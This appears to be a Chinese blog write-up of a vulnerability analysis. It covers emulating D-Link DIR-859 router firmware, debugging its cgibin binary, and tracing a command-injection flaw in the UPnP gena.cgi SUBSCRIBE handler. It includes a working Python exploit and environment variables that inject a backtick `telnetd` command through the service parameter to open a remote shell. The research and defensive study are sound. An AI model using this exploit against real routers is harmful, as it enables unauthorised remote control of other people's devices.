赞
踩
一、模拟运行固件
1.环境搭建
使用attifyos 中的环境进行模拟时可能会出现各种问题,后来自己搭建环境,可以正常运行。
firmadyne 环境搭建: https://github.com/firmadyne/firmadyne
qemu 编译安装:https://download.qemu.org/qemu-2.5.0.tar.bz2
qemu 建议使用 qemu-2.5.0 版本进行编译安装
在安装之前,请修复 linux-user/elfload.c 中elf_check_ehdr 函数的一个 bug:
插入 && ehdr->e_shentsize == sizeof(struct elf_shdr) 这个条件
修改之前:
/* Verify the portions of EHDR outside of E_IDENT for the target. This has to wait until after bswapping the header. */static bool elf_check_ehdr(struct elfhdr *ehdr){ return (elf_check_arch(ehdr->e_machine) && ehdr->e_ehsize == sizeof(struct elfhdr) && ehdr->e_phentsize == sizeof(struct elf_phdr) && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));}
修改后:
static bool elf_check_ehdr(struct elfhdr *ehdr){ return (elf_check_arch(ehdr->e_machine) && ehdr->e_ehsize == sizeof(struct elfhdr) && ehdr->e_phentsize == sizeof(struct elf_phdr) && ehdr->e_shentsize == sizeof(struct elf_shdr) && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));}
编译:
./configure --target-list="mips-linux-user mipsel-linux-user arm-linux-user" --staticsudo make -j8
将 DIR859Ax_FW105b03.bin 固件复制到 firmadyne 目录下
在firmadyne 目录下执行以下命令:su
sudo surm -rf images*sh ./reset.shsudo -u postgres createdb -O firmadyne firmwaresudo -u postgres psql -d firmware < ./database/schema./sources/extractor/extractor.py -b Dlink -sql 127.0.0.1 -np -nk "DIR859Ax_FW105b03.bin" images./scripts/getArch.sh ./images/1.tar.gz ./scripts/makeImage.sh 1 ./scripts/inferNetwork.sh 1 ./scratch/1/run.sh
可以看出路由器固件 ip为: 192.168.0.1
至此,固件模拟运行成功。
run-mips-sys.sh
脚本信息如下:oit@ubuntu:/home/qemu-vmsys/mips$ cat run-mips-sys.shsudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda
其中, msb_mips_gdbserver 是静态的 gdbserver, 之后用于 固件系统中程序的调试。信息如下:
oit@ubuntu:/home/qemu-vmsys/mips$ file ./msb_mips_gdbserver ./msb_mips_gdbserver: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
执行脚本启动 mips 系统:
run-mips-sys.sh
输入
longin:root Password:root
解包固件:binwalk -Me DIR859Ax_FW105b03.bin
oit@ubuntu:~/tools/Template/dir_859$ binwalk -Me ./DIR859Ax_FW105b03.binoit@ubuntu:~/tools/Template/dir_859$ cd _DIR859Ax_FW105b03.bin.extracted
将跟文件系统 squashfs-root 和 msb_mips_gdbserver 传到 debian-mips系统中:
将 msb_mips_gdbserver 复制到 squashfs-root 目录下:
cp ./msb_mips_gdbserver ./squashfs-root
挂载跟文件系统并启动:命令如下:
root@debian-mips:~#mount -o bind /dev/ ./squashfs-root/dev/root@debian-mips:~#mount -t proc /proc/ ./squashfs-root/proc/root@debian-mips:~#chroot ./squashfs-root sh
查看文件系统中运行的进程:
chroot ./squashfs-root shroot@debian-mips:~# chroot ./squashfs-root/ sh BusyBox v1.14.1 (2016-06-28 10:53:08 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. # ps PID USER VSZ STAT COMMAND 1 0 2660 S init [2] 2 0 0 SW [kthreadd] 3 0 0 SW [ksoftirqd/0] 6 0 0 SW [watchdog/0] 7 0 0 SW< [cpuset] 8 0 0 SW< [khelper] 9 0 0 SW [kdevtmpfs] ... 2389 0 11144 S sshd: root@pts/0 2391 0 6108 S -bash 2399 0 2588 S /usr/lib/openssh/sftp-server 2583 0 0 SW [kworker/0:1] 2896 0 11012 S sshd: root@notty 2898 0 2588 S /usr/lib/openssh/sftp-server 2937 0 0 SW [kworker/0:0] 3036 0 0 SW [flush-8:0] 3052 0 0 SW [kworker/0:2] 3057 0 856 S sh 3058 0 748 R ps #
查看网络:
由此可知,跟文件系统在mips系统中成功挂载并运行。
这里测试 /htdocs/cgibin 文件的远程调试( /htdocs/cgibin 后面会用到)
a. 执行 ./msb_mips_gdbserver 192.168.126.150:1234 /htdocs/cgibin
远程ip: 192.168.126.150
监听端口:1234
/htdocs/cgibin:调试程序
b. 将 /htdocs/cgibin 复制到 pc下,用ida打开
在main 函数处下断点,按 F9运行->选择Remote GDB debuger
点击OK,输入Hostname 和 Port:(启动gdbserver 时设置的 )
Hostname: 192.168.126.150
Port:1234
点击OK,出现调试界面
F9 运行,执行到刚才main 函数断点处
由此可以看到,一切正常,说明环境配置及远程调试没有问题。
对于漏洞分析,参考原文:https://blog.csdn.net/NOSEC2019/article/details/103823845根据纰漏,可知远程代码执行漏洞在UPnP请求的代码中。
undefined4 genacgi_main(void){ char *pcVar1; char *env_http_callback; char *__s1; char *env_http_nt; char *env_REMOTE_ADDR; size_t sVar2; __pid_t pid; __pid_t _Var3; char *pcVar4; undefined4 uVar5; int iVar6; int iVar7; int iVar8; char buf8 [8]; char acStack528 [500]; undefined *local_18; local_18 = &_gp; pcVar4 = getenv("REQUEST_METHOD"); if (pcVar4 == (char *)0x0) { return 0xffffffff; } /* getenv */ uVar5 = (**(code **)(local_18 + -0x7c90))("REQUEST_URI"); /* strchr */ iVar6 = (**(code **)(local_18 + -0x7f78))(uVar5,0x3f); if (iVar6 == 0) { return 0xffffffff; } /* strncmp */ iVar7 = (**(code **)(local_18 + -0x7d44))(iVar6,"?service=",9); if (iVar7 != 0) { return 0xffffffff; } /* strcasecmp */ iVar7 = (**(code **)(local_18 + -0x7d30))(pcVar4,"SUBSCRIBE"); uri_service = iVar6 + 9; if (iVar7 != 0) { iVar6 = (**(code **)(local_18 + -0x7d30))(pcVar4,"UNSUBSCRIBE"); if (iVar6 != 0) { return 0xffffffff; } pcVar4 = getenv("SERVER_ID"); if ((((pcVar4 == (char *)0x0) || (pcVar4 = getenv("HTTP_SID"), pcVar4 == (char *)0x0)) || (pcVar4 = getenv("HTTP_CALLBACK"), pcVar4 != (char *)0x0)) || (pcVar4 = getenv("HTTP_NT"), pcVar4 != (char *)0x0)) { cgibin_print_http_status(400,0x420554,0x420554); } else { pcVar4 = getenv("SERVER_ID"); getenv("HTTP_SID"); sprintf(acStack528,"%s\nINF_UID=%s\nSERVICE=%s\nMETHOD=UNSUBSCRIBE\nSID=%s\n", "/htdocs/upnp/run.NOTIFY.php",pcVar4); xmldbc_ephp(0,0,acStack528,stdout); } return 0; } env_server_id = getenv("SERVER_ID"); env_http_sid = getenv("HTTP_SID"); env_http_callback = getenv("HTTP_CALLBACK"); env_http_timeout = getenv("HTTP_TIMEOUT"); env_http_nt = getenv("HTTP_NT"); env_REMOTE_ADDR = getenv("REMOTE_ADDR"); if (env_http_sid == (char *)0x0) { iVar7 = strcmp(env_http_nt,"upnp:event"); uVar5 = 0x19c; if ((iVar7 == 0) && (env_http_callback != (char *)0x0)) { iVar7 = strcasecmp(env_http_timeout,"Second-infinite"); time_out = 0; if (iVar7 != 0) { iVar7 = strncasecmp(env_http_timeout,"Second-",7); uVar5 = 400; if (iVar7 != 0) goto LAB_004103d8; time_out = atoi(env_http_timeout + 7); } sVar2 = strlen(env_http_callback); if (env_http_callback[sVar2 - 1] == '>') { env_http_callback[sVar2 - 1] = '\0'; } env_http_callback = env_http_callback + (uint)(*env_http_callback == '); iVar7 = strncmp(env_http_callback,"http://",7); uVar5 = 0x19c; if (iVar7 == 0) { http_callbak_uri = strchr(env_http_callback + 7,0x2f); if (http_callbak_uri != (char *)0x0) { *http_callbak_uri = '\0'; pid = getpid(); sprintf(buf8, "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh" ,"/htdocs/upnp/run.NOTIFY.php",env_server_id,uri_service,env_http_callback + 7, http_callbak_uri+ 1,time_out ,env_REMOTE_ADDR,"/var/run",uri_service,pid); xmldbc_ephp(0,0,buf8,stdout); fflush(stdout); _Var3 = getpid(); sprintf(buf8,"NOTIFY:0:sh %s/%s_%d.sh","/var/run",iVar6,_Var3); xmldbc_timer(0,0,buf8); return 0; } uVar5 = 0x19c; } } } else { uVar5 = 400; if ((env_http_callback == (char *)0x0) && (env_http_nt == (char *)0x0)) { iVar7 = strcasecmp(__s1,"Second-infinite"); iVar8 = 0; if (iVar7 != 0) { iVar7 = strncasecmp(__s1,"Second-",7); uVar5 = 400; if (iVar7 != 0) goto LAB_004103d8; iVar8 = atoi(__s1 + 7); } sprintf(buf8, "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh" ,"/htdocs/upnp/run.NOTIFY.php",pcVar4,iVar6,pcVar1,iVar8,"/var/run",iVar6); xmldbc_ephp(0,0,buf8,stdout); return 0; } }LAB_004103d8: cgibin_print_http_status(uVar5,0x420554,0x420554); return 0;}
在反编译代码中,sprintf()设置了一个包含所有值的缓冲区,其中函数参数 ?service=
及其值,随后由 xmldbc_ephp()
函数(最后调用send())将“buffer8”中包含的数据发送给PHP。
sprintf(buf8,"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh" ,"/htdocs/upnp/run.NOTIFY.php",env_server_id,uri_service,env_http_callback + 7, http_callbak_uri+ 1,time_out ,env_REMOTE_ADDR,"/var/run",uri_service,pid);xmldbc_ephp(0,0,buf8,stdout);
根据反汇编代码,可以看出,sprintf()
用于连接多个变量的值,填充一个缓冲区,设置要传递的新变量,其中SHELL_FILE
将以格式%s_%d.sh进行传递,主要用于为新的shell脚本命名。根据执行 sprintf()
成立的条件,调试时需要设置以下环境变量
export REQUEST_URI="SUBSCRIBE /gena.cgi?service=\`telnetd\`"export REMOTE_ADDR="192.168.126.150"export REQUEST_METHOD="SUBSCRIBE"export CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE="aaaaaaaa"export HTTP_TIMEOUT="Second-1800"export HTTP_NT="upnp:event"export HTTP_CALLBACK="/"
修复环境:
mkdir -p /var/htdocs/upnp/LAN-1/ln -s /htdocs/cgibin /var/htdocs/upnp/LAN-1/gena.cgi
调试程序,执行到 sprintf:
./gdbserver_msb 192.168.126.150:1234 /var/htdocs/upnp/LAN-1/gena.cgi
数据被复制到“buffer8”缓冲区后,内存中的数据设置如下:
缓冲区中的数据,经过xmldbc_ephp
处理,由PHP文件run.NOTIFY.php进行处理,如下:
void xmldbc_ephp(undefined4 param_1,undefined4 param_2,char *pbuf8,int stdout){ size_t buf_size; buf_size = strlen(pbuf8); buf_size._2_2_ = (short)buf_size; FUN_0041420c(param_1,10,param_2,pbuf8,buf_size._2_2_ + 1,stdout); return;}undefined4FUN_0041420c(undefined4 param_1,uint param_2,undefined4 param_3,void *pbuf,ushort buf_size, int in_stdout){ int fd; int iVar1; undefined4 uVar2; fd = _connect(); uVar2 = 0xffffffff; if (-1 < fd) { iVar1 = FUN_00413810(fd,(short)param_2,param_3,pbuf,buf_size); uVar2 = 0xffffffff; if (-1 < iVar1) { if (in_stdout == 0) { in_stdout = stdout; } FUN_00414094(fd,in_stdout); uVar2 = 0; } close(fd); } return uVar2;}int _connect(char *pcParm1){ int __fd; int iVar1; int iVar2; sockaddr local_80 [7]; __fd = socket(1,2,0); if (__fd < 0) { iVar2 = -1; } else { fcntl(__fd,2,1); if (pcParm1 == (char *)0x0) { pcParm1 = "/var/run/xmldb_sock"; } local_80[0].sa_family = 1; snprintf(local_80[0].sa_data,0x6c,"%s",pcParm1); iVar1 = connect(__fd,local_80,0x6e); iVar2 = __fd; if (iVar1 < 0) { iVar2 = -1; close(__fd); } } return iVar2;}
流程: buf8->xmldbc_ephp->FUN_0041420c->_connect-> connect
run.NOTIFY.php
文件
include "/htdocs/phplib/upnp/xnode.php";include "/htdocs/upnpinc/gvar.php";include "/htdocs/upnpinc/gena.php";$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);$gena_path = $gena_path."/".$SERVICE;GENA_subscribe_cleanup($gena_path);/* IGD services */if ($SERVICE == "L3Forwarding1") $php = "NOTIFY.Layer3Forwarding.1.php";else if ($SERVICE == "OSInfo1") $php = "NOTIFY.OSInfo.1.php";else if ($SERVICE == "WANCommonIFC1") $php = "NOTIFY.WANCommonInterfaceConfig.1.php";else if ($SERVICE == "WANEthLinkC1") $php = "NOTIFY.WANEthernetLinkConfig.1.php";else if ($SERVICE == "WANIPConn1") $php = "NOTIFY.WANIPConnection.1.php";/* WFA services */else if ($SERVICE == "WFAWLANConfig1") $php = "NOTIFY.WFAWLANConfig.1.php";if ($METHOD == "SUBSCRIBE"){ if ($SID == "") GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID); else GENA_subscribe_sid($gena_path, $SID, $TIMEOUT);}else if ($METHOD == "UNSUBSCRIBE"){ GENA_unsubscribe($gena_path, $SID);}?>
根据环境的设置,该脚本会调用PHP 函数 GENA_subscribe_new()
,并传递cgibin程序中genacgi_main()函数获得的变量,还包括变量SHELL_FILE
。
根据搜索,可知 GENA_subscribe_new()
定义在 gena.php
文件中
gena.php
文件:
include "/htdocs/phplib/xnode.php";include "/htdocs/phplib/trace.php";include "/htdocs/phplib/phyinf.php";function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid){ $inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0); if ($inf_path=="") { TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!"); return ""; } $phyinf = PHYINF_getifname(query($inf_path."/phyinf")); if ($phyinf == "") { TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!"); return ""; } $upnpmsg = query("/runtime/upnpmsg"); if ($upnpmsg == "") $upnpmsg = "/dev/null"; fwrite(w, $shell_file, "#!/bin/sh\n". 'echo "[$0] ..." > '.$upnpmsg."\n". "xmldbc -P ".$target_php. " -V INF_UID=".$inf_uid. " -V HDR_URL=".$uri. " -V HDR_HOST=".$host. " -V HDR_SID=".$sid. " -V HDR_SEQ=0". " | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n" ); fwrite(a, $shell_file, "rm -f ".$shell_file."\n");}/***************************************************************//* construct the NOTIFY request event header */function GENA_notify_req_event_hdr($url, $host, $content_len, $sid, $seq, $outputfile){ if ($outputfile!="") { fwrite("w", $outputfile, "NOTIFY ".$url." HTTP/1.1\r\n"); fwrite("a", $outputfile, "HOST: ".$host."\r\n"); fwrite("a", $outputfile, "CONTENT-TYPE: text/xml\r\n"); fwrite("a", $outputfile, "CONTENT-LENGTH: ".$content_len."\r\n"); fwrite("a", $outputfile, "NT: upnp:event\r\n"); fwrite("a", $outputfile, "NTS: upnp:propchange\r\n"); fwrite("a", $outputfile, "SID: ".$sid."\r\n"); fwrite("a", $outputfile, "SEQ: ".$seq."\r\n\r\n"); } else { echo "NOTIFY ".$url." HTTP/1.1\r\n"; echo "HOST: ".$host."\r\n"; echo "CONTENT-TYPE: text/xml\r\n"; echo "CONTENT-LENGTH: ".$content_len."\r\n"; echo "NT: upnp:event\r\n"; echo "NTS: upnp:propchange\r\n"; echo "SID: ".$sid."\r\n"; echo "SEQ: ".$seq."\r\n\r\n"; }}function GENA_subscribe_http_resp($sid, $timeout){ /* Generate HTTP header */ echo "HTTP/1.1 200 OK\r\n"; echo "SID: ".$sid."\r\n"; echo "TIMEOUT: "; if ($timeout == 0) echo "Second-infinite"; else echo "Second-".$timeout; echo "\r\n\r\n";}function GENA_subscribe_cleanup($node_base){ $curr_time = query("/runtime/device/uptime"); anchor($node_base); $count = query("subscription#"); while ($count > 0) { $tout = query("subscription:".$count."/timeout"); if ($tout > 0 && $tout < $curr_time) del("subscription:".$count); $count--; }}function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid){ anchor($node_base); $count = query("subscription#"); $found = 0; /* find subscription index & uuid */ foreach ("subscription") { if (query("host")==$host && query("uri")==$uri) {$found = $InDeX; break;} } if ($found == 0) { $index = $count + 1; $new_uuid = "uuid:".query("/runtime/genuuid"); } else { $index = $found; $new_uuid = query("subscription:".$index."/uuid"); } /* get timeout */ if ($timeout==0 || $timeout=="") {$timeout = 0; $new_timeout = 0;} else {$new_timeout = query("/runtime/device/uptime") + $timeout;} /* set to nodes */ set("subscription:".$index."/remote", $remote); set("subscription:".$index."/uuid", $new_uuid); set("subscription:".$index."/host", $host); set("subscription:".$index."/uri", $uri); set("subscription:".$index."/timeout", $new_timeout); set("subscription:".$index."/seq", "1"); GENA_subscribe_http_resp($new_uuid, $timeout); GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);}function GENA_subscribe_sid($node_base, $sid, $timeout){ ...}function GENA_unsubscribe($node_base, $sid){ ...}?>
从GENA_subscribe_new
功能上分析可知函数并不修改 $shell_file 变量。GENA_subscribe_new
传递$shell_file 到 GENA_notify_init
函数,也是shell_file
最终处理的地方:通过调用 PHP 函数fwrite()
创建新文件。
fwrite()
函数被使用了两次:
第一次创建文件,文件名由 可控的 SHELL_FILE
变量(uri_service)以及
getpid()
组成:
第二次调用fwrite()
向文件中添加 删除命令 "rm -f ".$shell_file."\n"
,(漏洞点触发原因):
rm
命令时因遇到 反引号而失败,继续执行引号里面的系统命令,从而达到远程命令执行漏洞的触发。所以,只要控制好 "/gena.cgi?service=shell_file"中 shell_file的内容为 反引号包裹的系统命令,就可以触发漏洞。
49152
端口import socketimport osfrom time import sleepdef httpSUB(server, port, shell_file): con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) Payload = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n" Payload += "Host: " + str(server) + str(port) + "\n" Payload += "Callback: \n" Payload += "NT: upnp:event\n" Payload += "Timeout: Second-1800\n" Payload += "Accept-Encoding: gzip, deflate\n" Payload += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n" sleep(1) print('[*] Sending Payload') con.connect((socket.gethostbyname(server),port)) con.send(Payload.encode()) results = con.recv(4096) sleep(1) print('[*] Running Telnetd Service')serverInput = raw_input('IP Router: ')portInput = 49152httpSUB(serverInput, portInput, '`telnetd`')
执行exp:python poc.py,查看服务:
通过漏洞,开启telnetd服务:
执行 telnet 192.168.0.1 ,获取shell
成功利用漏洞。
https://blog.csdn.net/NOSEC2019/article/details/103823845
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。